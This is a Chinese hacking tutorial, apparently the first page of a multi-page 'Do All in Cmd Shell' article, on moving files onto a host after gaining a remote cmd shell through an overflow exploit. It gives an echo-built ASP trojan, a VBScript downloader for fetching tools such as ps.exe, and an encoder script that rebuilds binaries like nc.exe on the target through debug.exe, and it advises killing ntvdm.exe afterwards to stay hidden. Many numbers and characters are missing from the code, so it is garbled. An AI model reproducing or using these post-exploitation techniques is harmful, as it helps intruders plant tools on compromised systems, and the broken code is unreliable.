文件传输 对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的或端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下: 1,用Echo命令写ASP木马。 前提当然是目标主机上已经安装了IIS。 一般的ASP木马"体积"较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。 直接给出echo版: @echo ^ >up.asp 注意,只有一行,中间没有回车符。 生成的up.asp不能用浏览器访问,只能用下面这个脚本: with wscript if .arguments.count>dl.vbs @echo w.open "get",.arguments(0),0:w.send:if w.status^> then .echo "Error:"+w.status:.quit>>dl.vbs @echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs 举例——下载ps.exe并保存到c:path下: cscript dl.vbs c:pathps.exe 注意,这是在远程shell中执行的。 4,Echo经过编码的任何文件,再用脚本+debug还原。 前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出"杀手锏"了! echo命令加重定向x作符可以写入ASCII码小于的字符,但大于等于的不行。只有将本地文件重新"编码"为可显示的字符,才能方便地写入远程主机。首先能想到的就是base编码,即email附件的编码方式。但vbs不支持位x作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。) 无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本: fp=wscript.arguments(0) fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod :slh=sl with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true) .write "@echo str=""" for i=1 to sl bt=ascb(midb(str,i,1)) if bt>debug.vbs"+vbcrlf+"@echo +""" next .writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_ +":for i=1 to len(str) step :.write ""e""+hex(+(i-1)/2)"_ +":for j=i to i+ step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs" .writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_ +"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_ +">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs" end with 将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令: cscript echo.vbs nc.exe 也可以直接把要传输的文件的图标拖放到脚本文件的图标上。 稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容: @echo str="4D5AFFFFBE1FBA0EBCDBCCDFDE6E6FEEFD6FE0D0D0A"_>>debug.vbs @echo +"CBEAEEFBCB"_>>debug.vbs @echo +"CAE"_>>debug.vbs @echo +"EBCECEACEC"_>>debug.vbs ………… …………(省略若干行) ………… @echo +"">>debug.vbs @echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step :.write "e"+hex(+(i-1)/2):for j=i to i+ step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs @echo .write "rbx"+r+"0"+r+"rcx"+r+"E"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs 全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。 如果网速不是很慢的话,整个上传过程大约需要秒。 几点说明: 1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过KB。 2,在传输大文件前,可以先传个小的文件作为"热身",让位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。 3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。 4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod =0"语句中的以调整每个echo命令的长度。每次echo的字符为这个数乘以2。 5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。 能上传文件当然一切都好办了,但很多x作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。
推荐整理分享Do All in Cmd Shell一切在命令行下完成第1/6页,希望有所帮助,仅作参考,欢迎阅读内容。
文章相关热门搜索词:,内容如对您有帮助,希望把文章链接给更多的朋友!
利用BAT脚本加入域和退出域的代码 利用BAT脚本加入域和退出域加入域的脚本:@echooffnetdomjoin%computername%/domain:test.com/UserD:user/PasswordD:pass/REBoot:5退出域的脚本:@echooffnetdomremove%computername%/doma
用dsadd添加用户的代码 描述:此工具命令将一些具体的对象类型添加到目录。dsadd命令:dsaddcomputer-将计算机添加到目录。dsaddcontact-将联系人添加到目录。dsaddgroup-将组添加到目
不错的几个bat实例 下面几个bat文件示例,希望对你有点用处,根据需要自己修改一下再使用。删除默认共享(别存为bat文件放在开始菜单中):net_share_delete.bat,删除默认共